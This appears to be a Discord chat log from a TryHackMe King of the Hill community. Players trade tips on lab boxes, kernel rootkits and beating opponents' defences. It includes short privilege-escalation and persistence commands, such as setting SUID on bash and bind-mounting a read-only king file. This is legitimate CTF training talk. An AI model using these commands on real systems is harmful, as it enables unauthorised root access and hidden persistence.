koth

[fossil helm]

https://tenor.com/view/stan-twitter-monkey-sad-depressed-bored-gif-14632661802414689947

[light flame]

And you keep the rootkit for yourself haha😂

[fossil helm]

https://tenor.com/view/yikes-ahhh-scared-nervous-shouts-gif-4734323245846052209

https://tenor.com/view/trapcard-yugioh-gif-22455244

@light flame

https://tenor.com/view/yugioh-yu-gi-oh-yami-gif-5341467

[rare pelican]

[civic vortex]

yup ive played koth for 1+ year, reported some players but only got replied by bots too
But i don't think it's because they don't care, it's just that mod resources are limited, they need to focus on other places

[steep agate]

sup

[fossil helm]

That is the AD enumeration network of redteaming path damn one of the important part im itching and wanted to do it hands on but the network was broken and still broken till now.
Ending, i watched youtube then just take notes

https://tenor.com/view/cry-crying-cat-crying-cat-cry-why-gif-27571714

[civic vortex]

oh rip, didn't look deep into messages

[civic vortex]

they're so much more active on discord, maybe try #site-support?

[fossil helm]

Nahh

Nay or Yay?
Nay lol

[civic vortex]

👌

[fossil helm]

Salute to the fallen soldier @opaque gull that being cooked by Ch1 now

Lmfao

https://tenor.com/view/benjammins-cooked-hes-cooked-you're-cooked-ur-cooked-gif-16603214519610947661

[light flame]

🫡

[civic vortex]

we call those players "rookie killer" in games

[opaque gull]

bruh, i cant finish h1 easy medium hard

[civic vortex]

ive played many games until i solve them

first time

[opaque gull]

ill watch some videos

[fossil helm]

Do foothold and root in serv3

Also serv1 and 2

3 ways just pick

[opaque gull]

backup.sh

[fossil helm]

https://tenor.com/view/perfectly-cooked-impressed-amazed-delicious-you-cooked-it-perfectly-gif-17443260

[opaque gull]

sorry im really bad, i need to watch videos lol

[fossil helm]

If you played with that Gladiuz i forgot his user God rank

Dont do ssh useless find another exploit lol

I forgot to screenshot ssh was error something "dangerous" thing lol i encountered him twice

[rare pelican]

u can simple found the password of root in a /var in this machine

[steep agate]

https://youtu.be/KGjvu_4tzcQ?si=nk7x7eM3A2MqpN7E

h1 medium

h1 medium is really cool, I don't know who created this box, but it's good

there should be more AD machines, that would be cool

[opaque gull]

thanks for this

[sour vector]

Gave +1 Rep to @steep agate (current: #115 - 65)

[opaque gull]

i just need now to learn hard, lion machines, also food, theres still good videos on youtube

offically im addicted now to KOTH

[steep agate]

nice

[opaque gull]

why we dont see you in koth last week

private with friends same you skills would be more fun

your*

[steep agate]

I haven't played in a few months, and I also don't intend to play again, unless I have a new machine, or F11snipe does a stream/event.

[opaque gull]

good luck with that

[steep agate]

yeah

[fossil helm]

There is only 1 write up in h1hard and no youtube

Im planning to make youtube on it but not now lol maybe next month

[fossil helm]

Yeah this add like 3 more windows machines would be fun

[fossil helm]

You literally invited people that is God in koth bro you're adding people in my threath list lol 😂

Just let them sleep we need to be good first in koth before they go back and play koth lol

[opaque gull]

if god would be practice and learning, if less would be competitve and fun

[fossil helm]

They've been playing since 2 yrs ago. We are new here bro 😄

[opaque gull]

you are very good bro, you can compete with them

[light flame]

overall rank doesn't say much about KOTH

I've beaten people with much higher levels in KOTH

easily

[fossil helm]

No lol 😆

[fossil helm]

Just stay where you are dont ever think to play koth

https://tenor.com/view/yippee-cat-gif-696604303596555012

[light flame]

I might be playing soon to test the newest feature lol

*of my rootkit

[fossil helm]

https://tenor.com/view/joker-joker-card-evil-laughs-gif-15221160

https://tenor.com/view/magic-kaito-kaito-kuroba-kaito-kid-card-gun-shoot-card-gif-24037888

@light flame 😂

[fossil helm]

Im still on practice in forensics and countering opponents king. As you see always i dont take the king rush like before lol

Unless you're in my threath list 😂

[broken pilot]

Lmk id like to test it out... See if it can be bypassed

[opaque gull]

any tips for h1 hard machine ? i tried to search on youtube but very long video

[rare pelican]

learn docker escape & xml injection u will find the way in

[velvet vapor]

Is this even possible?
Sum of first hacked time and remaining time is greater than 1 hr

[honest beacon]

19:06 is your country time

[jagged willow]

@fossil helm

help

I am trying to do SQL injection in admin/login.php but its not working

how did you log in as admin?

[fossil helm]

You watch yt of h00dy in fireworks machine

[jagged willow]

Thanks

[honest beacon]

sorry @civic vortex just reseted mistakenly 😅

https://tryhackme.com/games/koth/112668

[sleek tundra]

Do games usually expire as soon as they're scheduled to start?

[ember raft]

Yeah, You have to wait a bit to get machine IP

[sleek tundra]

That was a little weird 😂 okay thanks for letting me know

I think I saw you in one of the lobbies

[ember raft]

I wanted to play it after a long time but I guess I will not enjoy it

[sleek tundra]

Oh good it started

[rare pelican]

again i found a guy using ur kingkit @light flame

[fossil helm]

Damn tryhackme lol

Im about to finish their pentest path with just 3% unfinish in web fundamentals

[rare pelican]

sad

[fossil helm]

Now suddenly added web app pentesting

[fossil helm]

Yeah i guess i will be having more days and time doing pentest path + playing koth lol

[fossil helm]

https://tenor.com/view/nobi-pintu-tokocrypto-nanovest-crypto-gif-26605558

@leaden basin

[leaden basin]

Ya it's been a long time since playing so trying diff rootkit and also didn't care much about obfuscate stringing.

And what are new techniques going nowadays like i know the syscall one, interact is the one mount think.

@fossil helm you have ch1 rootkit sample ? Or know what he uses I just don't know about his rootkit ?

[fossil helm]

Matheuz put it there

I forgot to save jt

It

Try to scroll up you will see it

[fossil helm]

I mean here

[leaden basin]

No worries i ask matheuz

[fossil helm]

Ok bro 👌

[leaden basin]

i use to have f11snip's king rootkit that the og one

[fossil helm]

I wish i was playing wayback when they're still active

Maybe i will cry a lot 😆

I used to cried on ch1 rootkit month ago bro lol but now how koth works its all about advance techniques and forensics also you need to be fast

[leaden basin]

I talked to him; he will be back soon.

[fossil helm]

Just let them sleep bro dont call the old gods

https://tenor.com/view/cat-crying-cat-cat-meme-cat-crying-meme-crying-cat-meme-gif-7433931244412524776

[leaden basin]

Okay 😆

[rare pelican]

but which rootkit u was trying was of user space

[remote rain]

@honest beacon

[leaden basin]

I know

[hot perch]

is this normal on koth games?

chattr -i
Command Executed
___
.'o O'-._
/ O o_.-| /O_.-' O | | o o .-
jgs |o O_.-'
'--`

No cheese strats!

[civic vortex]

I remember a creator tampered the built-in chattr binary on a box

[fossil helm]

a lot of them using that

[fossil helm]

Just delete chattr and use your own lol

[hot perch]

So i have to copy it to the /usr/bin folder?

Just that?

[stiff egret]

its an executable binary, you can run it from anywhere. Why put it in path where everyone can use it

[stiff egret]

that is intended in some boxes where if you execute the chattr thats there by default, then it will print that and exit.

[hot perch]

So i have to submit mine or try another method?

[hot perch]

@fossil helm is the machine not working or smth?

i'm foint

[stiff egret]

you can just upload yours.

[remote rain]

anyone playing koth?

[fossil helm]

Yeah

[fossil helm]

My 3rd time to encounter that 'dangerous' thing in ssh even though i had new id_rsa grabbed from ftp so i tried to reset it and yeah it worked

But i encountered that to that Gladiuz username twice.
God rank. in fireworks and food machine so i know i will not use ssh if that guy appears again.

[fossil helm]

@fallen palm man

I understand that you want to win but patch the machine only

Not deleting the domain lol

Now i will not give you a chance to step in the machine the next game i see your username 😂

@fallen palm

Reset for what?

Didn't change creds or patch

Come inside

[remote rain]

lets play koth

[frank oracle]

lmfao

[leaden basin]

Talking about other platforms in chat or voice chat might get you banned be careful .

[steep agate]

I enjoy playing htb battlegrounds, server siege or cyber mayhem

[frank oracle]

The game started 3 minutes ago... bro how are you king already?

https://tenor.com/view/cat-stare-catstare-cat-stare-sus-catglare-cat-glare-gif-14942558849944709546

@stiff egret - Might require your insights here ?

[steep agate]

Get root on the machine as quickly as possible and run this sudo sysctl -w kernel.modules_disabled=1

[frank oracle]

lmao this guy closed all ports.

[steep agate]

You can't use sysctl after ch1 loads your rootkit

His rootkit makes a hook in sysctl, i think

if you try to load another LKM after it loads your own, you will not be able to use insmod for example, to load lkm

[frank oracle]

My guy

this person, got root literally 3 mins in game.

[steep agate]

it wasn't in 3 minutes

[frank oracle]

it was.

[steep agate]

it gets root about 8 or 5 seconds after the machine starts

[steep agate]

No.

[frank oracle]

ok

[steep agate]

If you use common resources like chattr, chmod, etc., you won't win this match or you won't become king

already notified in advance

[frank oracle]

Are you in my game?

[steep agate]

No, it's been a few months since I played koth

[frank oracle]

ok. So you dont know whats happening in my game.

So maybe just - let me ask staff about whats up

[steep agate]

I know yes, I was the one who analyzed the ch1 rootkit, and did anti reversing on his rootkit, when someone took the sample and put it in the chat

You are a new player, you have a lot to learn

[frank oracle]

I am definately not.

[steep agate]

strange, I never played against you

I mean, if you were a slightly older player you would know

[steep agate]

this is one of the things that happens when you play with a player that also uses a rootkit

if you don't know

anyway, good luck xD

[fossil helm]

That technicom always shutting down machine if you dont disable the shutdown 😆

[fossil helm]

3 mins is slow bro

😂

[fossil helm]

I gave up doing this to ch1. Just let him play he is just maintaining his spot in 3 he will not play today

[steep agate]

on all machines that have a rootkit compiled, he can root within 10 seconds after the machine starts

I was trying to explain this to @frank oracle but he wanted to be ignorant to someone who knows more than him, lol

[fossil helm]

@frank oracle is that you Rodrous?

[steep agate]

he played only 4 games

[steep agate]

and say this, lol

[fossil helm]

Me a month ago

Takes me a week to analyze it to my brain how koth works 🤣

[fossil helm]

Yeah that's what it is anyways, there are 4 machines that ch1 doesn't care so still can win even if he is playing but most of the times the machines that is autowin for him comes out it's a 9/4 out of 13 machines

[steep agate]

It's because on these machines it doesn't have a compiled rootkit, basically it already has the .ko (kernel object) compiled for these 9 machines, so you just have to get root as quickly as possible, and load it using insmod

You don't even need to compile it inside the machine, as it has already compiled the rootkit, so just be quick and load it

[fossil helm]

Maybe he did that because of that Technicom username shutting down machines if i were him i will do same way 😂

[fossil helm]

Yeah thank you for your explaininations for us beginners. Just remain sleep @steep agate and dont think of playing koth ok 🤣

[sour vector]

Gave +1 Rep to @steep agate (current: #112 - 66)

[steep agate]

🤣

Anyway, I don't intend to play koth again, I think I already said this here once, but only when I have new machines or f11snipe does a live stream

[fossil helm]

I'm still hoping for this who the heck doesn't want to play with the OG's 🔥

[fossil helm]

I mean for now, because us a beginners is on our way to be good at koth before the OG's will comeback after koth changes and patch 💀

[steep agate]

I think most of the players I played with stopped playing too

[fossil helm]

yeah there are some that are still playing but not always.

[steep agate]

yeah

[fallen palm]

@knotty mica I uploaded a easy boot2root room few weeks back on thm, how can i collaborate that room with you guys and make it public or something..??

[near lily]

There is an option to make it public, onec it's public, it's placed in the QA queue to review it.

[fallen palm]

Yea, I have it set to public and it's still under submitted category

How much time it usually takes to be approved.?

[near lily]

As long as it takes, usually.

[fallen palm]

🫠

That's my first room,so no idea about the publication time

[steep agate]

my room took around 4/5 months to be launched, it takes a long time, some people took 1 year to be launched, it really depends

[fallen palm]

Woah 😮

[steep agate]

and on hackthebox it took about 6 months for my box to be released

[fallen palm]

Permx.?

[steep agate]

yea

[fallen palm]

I see

You wanna try my room.?

It's pretty easy though

[steep agate]

You will have to be very patient until it is released

[steep agate]

Maybe, but I won't be able to do it today, I'm studying for a certificate

[fallen palm]

Sure brother, take your time and good luck for your certification too.

Here's my room: https://tryhackme.com/jr/privilegeplayground

[steep agate]

nice

[fallen palm]

Btw which cert you going for.?

[steep agate]

studying for CRTP, soon I will do CRTA, and I also already have the CRTO

[fallen palm]

Nice mam

[rare pelican]

yry my private room which have user space kit as well as lkm

basic one u will learn how to bypass simple rootkits: https://tryhackme.com/jr/meowmeow

you will get the flag if you bypass first rootkit user space user.txt second root.txt after lkm

best for beginners to learn abt rootkits

created by me

[fossil helm]

ldd /_/

[rare pelican]

no for lkm hehe

ldd not works for lkm

ldd used to list dependcies

try my room bro

there is intresting vuln. in web also

[fossil helm]

It works on user.txt

[rare pelican]

see code

[rare pelican]

hmm

try room u will get to know abt php filter chain

[fossil helm]

just transferred my vms and linux in my pc been doing thm in an old hdd laptop for about 3months that lagged always oftentimes hinders me in koth and thm paths lol

@rare pelican i feel the power surging in my hands been so long didnt use the pc lmfao

[rare pelican]

nice

why these people spamming reset alot

[fossil helm]

probs

[rare pelican]

skids

he resting it alot https://tryhackme.com/r/p/Jaydeep.Shirsath

[fossil helm]

probs in 1 v 1

[rare pelican]

he be like

[fossil helm]

how to retrieve my 76 streaks lol
i did just rest like 1day and half damn
fr

[rare pelican]

u can contact thm

i also used to do this alot lol XD

[fossil helm]

yeah im about to email lol

[rare pelican]

dont email

got to support page

[near lily]

Which support page?

[rare pelican]

type of you will get a small circle in dashboard were u have to click to contact for streak recovery

[near lily]

Ah, it's the same thing, if staff don't answer it, it gets E-mailed anyway

[rare pelican]

it works bro i tried many times when i lost my streaks XD

[near lily]

No worries sister, I know it works.

[wise blade]

Just completed it, nice room 👍

[jagged willow]

@fossil helm

how do you get points without flags

your graph keeps increasing (more than 6 times)

and also what is becoming king?

[wise blade]

You gain points when you're King, I think every minute or so you gain some points. Becoming king is where you add your TryHackMe username in the /root directory, there is a file called king and you insert your name there.

[fossil helm]

https://github.com/MatheuZSecurity/Koth-TryHackMe-Tricks

good start to learn koth the rest is your own research keep learning

[jagged willow]

I had access to root, donkey, puss, etc but I didn’t know I could do that

[bitter agate]

anyone koth ??

[sour swallow]

Did you read the "How to play" section?

There is also an FAQ at the bottom of the page

This also has some useful information https://tryhackme.com/r/resources/blog/guide-to-king-of-the-hill

[bitter agate]

I scan ip but which ?

[broken pilot]

when this happens you should vote reset and a new ip will appear. Its a bug that happens every now and then.

[jagged willow]

@broken pilot

how?

[broken pilot]

edit the motd

[jagged willow]

did you use the bash exploit to elevate privileges

[jagged willow]

what it motd

[broken pilot]

message of the day

[broken pilot]

i set that suid 😉

[jagged willow]

how?

https://tenor.com/view/teach-me-doctor-strange-benedict-cumberbatch-gif-8215241

[jagged willow]

so did you get king.txt

[broken pilot]

chmod +s /bin/bash

[broken pilot]

no was waiting for you to priv esc

[jagged willow]

did you disable this for me?

[broken pilot]

id

[jagged willow]

how do you even disable that?

[broken pilot]

type id whats the output

[broken pilot]

check out https://gtfobins.github.io/gtfobins/bash/ on how to elevate your privileges

[jagged willow]

thats what I was doing

the suid is blocked

[broken pilot]

/bin/bash -p

[jagged willow]

thanks

im king!!!

[broken pilot]

i just did a chattr lock on king

[odd quiver]

@fossil helm ay u the guy who was on top this month on koth

im ur biggest fan

will u become my mentor?

[fossil helm]

Im also a new learner bro.
It's just that other tough players are not playing that much

[fossil helm]

https://github.com/MatheuZSecurity/Koth-TryHackMe-Tricks

This might help you as a beginner guide

[odd quiver]

geez i had respect for u...

[whole crystal]

I just spam all ttys with nonsense and attr koth.txt lol

[odd quiver]

https://tryhackme.com/games/koth/join/eccd4e03341ea1d0a575d3ea

[odd quiver]

@fossil helm please help me with john

its not working!!!

[fossil helm]

Dm

@odd quiver you need to do xwiki to get into foothold

[faint heath]

Can someone please mentor me in koth I'm new

I'm very willing to learn anything

I do 100+ events per day

(Sometimes)

[nova tide]

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

@alpine quarry Refer to the following in order to send a message in this channel ^

Also for any koth related queries you may check the pinned messages like the following

[fossil helm]

I am thrilled to see blackdevil playing it's my firstime to see him play so im excited

but that idiot just ruined the game shutting it down lmfao

1 min king time

@nova tide he is been doing it since the day he played koth lol

Ik that can be disable shutdown reset poweroff command inside the machine but there are machines that it will not work

now he suddenly disappeared and didnt join the next game lol

He maybe filled with joy and partying announcing it to his neighbors

my bruh used autopawn in food just to shutdown machine

[fossil helm]

^

[broken pilot]

Just make an alias for those command that kills their shell or spams their terminal with /dev/urandom.... Especially if they are known for shutting down the machines 🤷🏼‍♂️

[fossil helm]

nahh i just jdrop him lol

its just that i didnt expect it a while ago

because im waiting for devil

[fossil helm]

the prob also is in the spacejam machine bc he knows it only takes 5 secs to get root access 😆

i even won against ch1 because of him bc ik he will shutdown the machine so expecting all will reset and it would be a good race to ch1

https://tryhackme.com/games/koth/113501

[fossil helm]

i did this and killed port 3k now he's stucked outside

[fossil helm]

@leaden basin reset and bait me

i aint gonna buy that lol

https://tryhackme.com/games/koth/113649

good night guys im tired

[broken pilot]

I may start playing again randomly whenever I get some free time 😉

See all the new active players and organize a big tournament soon.

[fossil helm]

me as future audience 😁

[fossil helm]

team vs team?

[broken pilot]

We can try this... I was speaking to f11 and matheuz about this before and I think I know a way we can achieve this and make it fair for both teams.

[fossil helm]

i will play and find a team but im expecting i'll be cooked lol

[fossil helm]

they will also play?

[broken pilot]

The thing is one team would need to start a private match with their team mates and the "host"... Maybe 5-10 minutes to patch then we release the IP to the other team and how they score would be to put the "host" name as king .... Whoever has less time with the host name as king would win since they defended their machine the best 🤷🏼‍♂️ or maybe the other way around I don't know yet I'll have to think about it more

That way both teams could have a random machine, not know which machine they were Targeting, have to do some enumeration to know which machine they are playing etc... will make it a little bit harder.

We would need a host / referee that would be in both games I think f11 would be up for being the ref 🤷🏼‍♂️ i will talk with him soon and see if he would be interested in streaming this as well

[fossil helm]

That would be this year or next year?

[broken pilot]

We will probably have a tournament near the beginning of the new year. That way everyone can enjoy their holidays, spend time with friends and family, etc. Then start the streams back up

[fossil helm]

@rare pelican lezzzgawwwwwww and be cooked

[broken pilot]

I see you climbing the leaderboards, you'll be fine

We may even do another tournament but with no rootkits 😉 make it fair for everyone playing, gives everyone a chance to win

[fossil helm]

im just spending my time because i will be in a new job this month so probably cannot play like this anymore lol

[broken pilot]

Yea that's what happened with me. That's why I'm not on much anymore but I may come back.

[fossil helm]

yeah i learned a lot here in koth and thm but with the experienced and old players i cant win

[broken pilot]

Playing against them will actually teach you more and help improve

[fossil helm]

i saw you defeat bravo and bravo always kicked my ass

https://tenor.com/view/blackish-crying-cry-tears-sad-gif-5613528

[broken pilot]

After awhile it gets boring playing against ppl that can't beat you... Sure you rack up points but you are no longer learning

[broken pilot]

Yea playing against the top players made me figure out ways to bypass their rootkits... I looked at it like a challenge, now I like testing other people's rootkits because I know I can find a weak point

[fossil helm]

How i wish i was that good i read mtz's articles but still

[broken pilot]

I'm also partly responsible for ch1's rootkit being so strong because I helped him find those bypasses so he could fix the holes

[broken pilot]

Just takes some time and determination... Keep playing against the people that can beat you and eventually you will be able to beat them

[fossil helm]

my 1st week of playing koth my cheat sheet was mtz github then i used this to ch1

sudo lessecho USERNAME > /root/king.txt
sudo dd if=/dev/zero of=/dev/shm/root_f bs=1000 count=100
sudo mkfs.ext3 /dev/shm/root_f
sudo mkdir /dev/shm/sqashfs
sudo mount -o loop /dev/shm/root_f /dev/shm/sqashfs/
sudo chmod -R 777 /dev/shm/sqashfs/
sudo lessecho USERNAME > /dev/shm/sqashfs/king.txt
sudo mount -o ro,remount /dev/shm/sqashfs
sudo mount -o bind /dev/shm/sqashfs/king.txt /root/king.txt
sudo rm -rf /dev/shm/root_f

i bypass his rootkit

but they reseted the machine

after that he patched his rootkit lol

that time i dont have any idea who ch1 is

and he is using rootkit

i dont have idea i just follow what i read from mtz lmfao

[fossil helm]

yeah i keep this as advice

[fossil helm]

now he is just unstopable lol

you just created a monster @broken pilot

https://tenor.com/view/nobi-pintu-tokocrypto-nanovest-crypto-gif-26605558

[broken pilot]

I got excited cuz I played a game last night and he was on, I wanted to test a new bypass on his rk but he left the game 😢

[broken pilot]

I know, sorry lol 😆

[fossil helm]

ch1's mind "Not today"

i tried to experiment a own defense but @rare pelican just managed to bypassed it i thought it was already good because i used it frequently and win a lot lol he just saw what i did there i just pointing it in a folder and fire a loop lmfao

[timber vale]

true you helped me very much to strengthen my rk but it was mostly @light flame he was always playing with me and every few days he finds a new bypass 🤣 and i have to fix it

[fossil helm]

https://tenor.com/view/snoop-dogg-for-real-really-gif-14335256

@light flame

[fossil helm]

mah g you here the whole time? or you've just rejoined the dc again

[timber vale]

nah i just rejoined yesterday

[broken pilot]

@timber vale 😢

🤣, we WILL play again....

@fossil helm let me try to bypass the kit you are using, jump in one of these games

already started... https://tryhackme.com/games/koth/join/3217d7353e1f7df32ca8243d

or starts in 15 ... https://tryhackme.com/games/koth/join/2ddf932d660d10286a6702ae

[fossil helm]

Oh ok next time just tag me i already slept a while ago

Mostly i dont use rk

I just used it when i know someone has it and in the lobby also

Or someone that i know has good forensic

[broken pilot]

i want you to use it though so i can see if i can beat it

[fossil helm]

You can i am sure 😆

My ch1 memories before when i cried a lot 🤣🥲

[fossil helm]

Does anyone here bother to make yt video in H1hard machine.
I noticed that a lot of players can't get foothold or root access to that machine.
I'm planning to make by this month after i finish this thm pentest/red paths.
I will do the same to the only 1 write up of h1hard machine that i found.
Xxe inject & docker container escape.

[fossil helm]

"if no one does"

[rare pelican]

i will create that video for h1:hard machine soon on yt : )

[fossil helm]

Ok your call

Or you will just let me? Since it is my first yt vid i wonder what it looks like lol 😆

[lavish brook]

Hey Thinktwice...

Hello KOTH players,
I Am facing a problem, as a root user i tried chattr, chmod, umount...echo taking input but not reflecting in king.txt

I am a noob in koth game.

I want to learn..
Please refer something, so that i can learn

[fossil helm]

Maybe your opponent is in defense mode already

[lavish brook]

If someone change port, how can I find the that port again?

[fossil helm]

Try to port scan again

[lavish brook]

Not found anything interesting

Oh you are king in this server

Where i am playing

Hey teach me how can i enter

@fossil helm

[fossil helm]

Machine has been reset you can now proceed

[lavish brook]

Hey KOTH pro players,
when someone run while loop for king.txt, how can I break it?

[broken pilot]

Find the process running the loop and kill it or if you know the loop is using something like chattr you could always chmod -x chattr or remove it

[light rampart]

Hi guys i am new in koth

How to win against @timber vale he is not giving any chance to other players

[fossil helm]

You're new you can't win against him it's hard to explain but

For now don't play to win, play to learn explore the 13 machines take good notes

[prime hull]

Hello! So my skills aren't quite well yet, and I wanted to ask should I try to play koth without much skills, or I gotta have solid understanding of things?

The thing is, I have never played koth before, and to be honest I don't even know what it is about, can't seem to find tutorial videos or something

[violet zealot]

So basically it's a multiplayer mode, where u have 2-10 players on a machine. You have to pwn the machine, get all the flags, patch the vulnerabilities, put ur username in /root/king.txt and defend it by doing a few tricks.

[violet zealot]

So to answer this message, u need a good understanding of linux systems and web pentesting

[lavish brook]

Hello KOTH player,
can anyone explain what it means?
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted

[light flame]

There is one machine where SUID binaries do not work, I don't know why though.

[broken pilot]

You could check out some of the live streams F11 done awhile back, they helped me get a understanding of king control and different techniques that could be used when I first started... https://www.youtube.com/live/wIDdrY-opPU?si=hOVfTS0p9u1k6taO

[fossil helm]

OG's playing

[prime hull]

Thanks you all for answering - @broken pilot , @violet zealot !

[sour vector]

Gave +1 Rep to @broken pilot (current: #82 - 89)

[prime hull]

I am going to check on those videos

[civic vortex]

It's because your shell session dont have full permission

Write your ssh public key to the user's .ssh/authorized_keys, then connect with SSH to get proper shell

Example scenario :

[broken pilot]

If KOTH ever comes out of beta we could really use a in game chat for the players who are not in the discord server... So we could at least tell them to reset the machine when it does this..

[sonic belfry]

Can you DM the IP please?

[broken pilot]

Done, but i provided game links because IP never populated

[sonic belfry]

I've reported this issue to the team. Thank you for your time.

[sour vector]

Gave +1 Rep to @broken pilot (current: #82 - 90)

[fossil helm]

Yeah chat in the room while waiting

[versed tiger]

hi

[stiff egret]

Hi

[copper lion]

hey guys, i was wondedring if loading LKM or eBPF programs, after being root, was allowed ?

[light flame]

It is, since it's not forbidden

And quite some players already use rootkits.

[steep agate]

eBPF rootkit is good

I mean, if you want to load LKM, you'll have to be quick, because @timber vale rootkit also intercepts the use of sysctl/insmod so it's as if your LKM was sent to /dev/null

[steep agate]

There are good pocs of eBPF rootkit, it's cool that you can also use eBPF for forensics

[versed tiger]

3 players obviously know all flows and hack every machine within 1min

https://tryhackme.com/games/koth/join/35c3e9065d011e31c6dbd235 if someone wants to explore in peace

ah ok i didn't catch earlier i can play alone in private room...

anyway thx

no it doesn't work...

Status: Completed
(Insufficient Players)

[fossil helm]

I'm almost done in thm pentester path 61% to their new path web pentest. While doing koth 😅

[versed tiger]

competing w no competition

[fossil helm]

I wonder if Offensive sec path is still relevant at this year?

I saw some rooms are 2 yrs ago

I want to learn basic and fundamentals from their platform before i move to other platform

[fossil helm]

I saw one of the OG @broken pilot didnt manage to bypass ch1 rootkit because ch1 already patched a lot in his rk so if master Trap had hard time what about us new learners we're cooked also 😆

[broken pilot]

I can still bypass it, I'm just not ready to expose this trick to him yet because he can and will patch it... I will eventually tho 😉... Doing some initial recon first...

[fossil helm]

https://tenor.com/view/baby-turns-around-runs-away-oops-meme-scared-kid-gif-25656420

[timber vale]

https://tenor.com/view/test-gif-27464430

[fossil helm]

It should be unpatchable

https://tenor.com/view/benjammins-cooked-hes-cooked-you're-cooked-ur-cooked-gif-6506674444416174542

I can see mah G will be cook now

[fair adder]

Lol I played u in some games

[fossil helm]

https://tenor.com/view/homer-simpson-hide-in-shrubs-hiding-in-bushes-disappear-into-hedges-embarrassed-gif-24183287

[broken pilot]

What should be unpatchable??

Thing is, I'm not creating rootkits to bypass rootkits... I'm doing it manually attacking the logic behind the rootkits... So once you realize what commands I'm running then you just hook those and I find something else 😜

[fossil helm]

That bypass is in mtz's write up? His detect lkm rootkit cheatsheet

[broken pilot]

No

[broken pilot]

One of my bypasses was showcased in one of matheuz writeups tho...😉

[fossil helm]

Alright i'm gonna read it again

https://tenor.com/view/yippee-cat-gif-696604303596555012

[broken pilot]

But these other ones I'm still holding on to haven't been yet...

[broken pilot]

Like the symlink trick bypassed both read and write hooks on king... So then you just hook symlinks and now you need to find another one...

[fossil helm]

I encountered some players using symlinking to defend the king.
Did i just broke the rules if i disabled their way to symlinking? 😆

Like alias ln=

[broken pilot]

No that's easy to find and either remove the alias or create a new one...

Well I mean some players might complain, I guess it all depends on who you are playing against

[broken pilot]

Even if you removed symlink altogether, then I just bring a static compiled binary on to the machine...

[fossil helm]

https://tenor.com/view/vignesh123-vigneshfisrtgif-yoda123-yodamars-gif-13055175463724769097

[fossil helm]

There are some also adding txt files to root dir and link the original king to their user.
Some are hiding it lol

by encountering that i learned on their techniques

[broken pilot]

We should play a game sometime and I'll show u a few techniques 😉... U can try to stop them

[fossil helm]

Drop it already i will use it in some match 🤣

https://tenor.com/view/happy-cat-gif-6308599340554202546

[broken pilot]

No no no lol I'm taking my spot back soon 🤣

[fossil helm]

Anyone can take my spot also i feel like i dont deserve that 🤣
If OG's and other good players are active doing koth then they can just beamed me on that spot. I dont have plans also to replace bravo ik how skilled he is so i dont deserve to be in 4th also 😆

It's just that i have time doing koth these past months next year will be lessen like play a few in sat sun only 😆

[broken pilot]

It's fine lol I haven't had much time to play like I used too anymore. Just figured I'd pop in every now and again, try to help some of the newer players

[fossil helm]

Yeah i will make h1hard video to atleast help some other players in that machine.

[broken pilot]

That's a good start, I see a lot of players getting stuck escaping to the host machine

It makes it more fun when you have multiple players able to get on the machine at the same time....

If not then you are just wasting hours playing by yourself lol...

[fossil helm]

Yeah my problem in h1hard

I just echoed my user w/o defense then leave 🥲😅

@broken pilot i know you can just beamed me in linux but in windows if we had a chance to play in same match in windows can you test my defense there

[broken pilot]

I suck at windows ngl but I'd be down cuz I need to stop procrastinating on windows lol

[fossil helm]

Ohh when i was in thm redteaming path that was the time i learned that windows is a huge topic to be in, good fundamentals and techniques i read 😅 i learned that this and this etc exists i vouch thm to that path 😅

Hopefully they will add more windows in koth add 3 so that will be 15 machines 😁

[broken pilot]

I mean I know some things in windows but I'm more comfortable with Linux..

[fossil helm]

I'm just still on my way in solidifying my knowledge in both linux and wndows 😅

[broken pilot]

How about this.. we play windows I try to beat your king defense, if I can't then you show me a few tricks.. Then we play Linux, you try to beat my king defense, if not I'll show you some tricks... Deal?

[steep agate]

ad is life

[broken pilot]

I've been waiting for you to show me some tricks bro 😂. I keep putting it off from learning... I think I'm going to make it my mission for 2025 to become good at windows lol.

Especially since the majority of companies use windows and AD.. I can do some basic stuff but not fast at all 😂. I've been learning a little powershell here and there, need to create some good notes though

[steep agate]

🤣 , practice a lot of AD

[steep agate]

I really understand, in infra pentest for example, there will almost never be a Linux, depending on the company

[fossil helm]

Alright deal if will play in the same time

[broken pilot]

I know. I have a lab setup already I'm just being lazy to actually use it lol... Like I can get to DA on some machines but I want to learn more

[fossil helm]

I also learned that AD are used by the 90%+ of large corps, companies, orgs 😭
I need to be a AD specialist 😆🔥

[broken pilot]

I've been learning a bunch of cloud things lately... But it's mostly been Linux infra

[fossil helm]

What r u into now crte right?

[steep agate]

Oh yes I understand, in xct's vulnlab you would learn a lot

[steep agate]

yeaah, that's true

Most of the time there will be some EDR solution

in machines

[steep agate]

Cloud is really cool, there are some jobs you can do with Linux on this side, one of them would be "linux security researcher"

I was talking to some people who have been working on this for a few days, it's really cool, they deal with a lot of malware for Linux, Yara rules, etc.

but there aren't many job openings, it's a very specific niche

[steep agate]

CRTO*

I recently took the CRTA, now I intend to try to take the CRTP

[fossil helm]

https://tenor.com/view/homer-simpson-hide-in-shrubs-hiding-in-bushes-disappear-into-hedges-embarrassed-gif-24183287

[hoary mulch]

Random 221321 you in here?

My attack box timed out ahha

[hoary mulch]

https://tryhackme.com/games/koth/join/57f91f8d017d814707b9e08a

[white breach]

I had a bug with KOTH while playing with a friend, i got access to the VM and put my name in the file (forgot the name of the file) but it didn't give me any points and it was my friend who was gettings points

[limber rune]

this is why i don't hack anymore, too many sweats like dompriv

[leaden basin]

ya just for the win people just shutdown the box

they don't know how to play fair

[limber rune]

lmao yeah

oh wow you have king

[leaden basin]

no he pwoeroff the box

[limber rune]

oh what

damn

[leaden basin]

@limber rune

[limber rune]

oh ok

[acoustic drum]

nothing working for me ffs ha

[limber rune]

yeah same

[leaden basin]

vote reset

[acoustic drum]

done

[leaden basin]

still need 2 more

[acoustic drum]

make sure u beat him niko

[leaden basin]

if the box don't get reset i win anyway

[acoustic drum]

good ha

[leaden basin]

but its not about the win its about fair play

[acoustic drum]

nah thats right but at least he dont get the points

[leaden basin]

ya

[opaque gull]

why do you reset the machine everytime

[opaque gull]

from cyberfare ? if so im currntly in CRTA

[steep agate]

yeah

CRTA is so easy

[opaque gull]

ill take the exam next week

just started with the lab

[tight inlet]

@faint path did the box just not work the entire 2nd half for you as well?

[steep agate]

The exam is very simple, you can finish it in about 2/3 hours or so

[fossil helm]

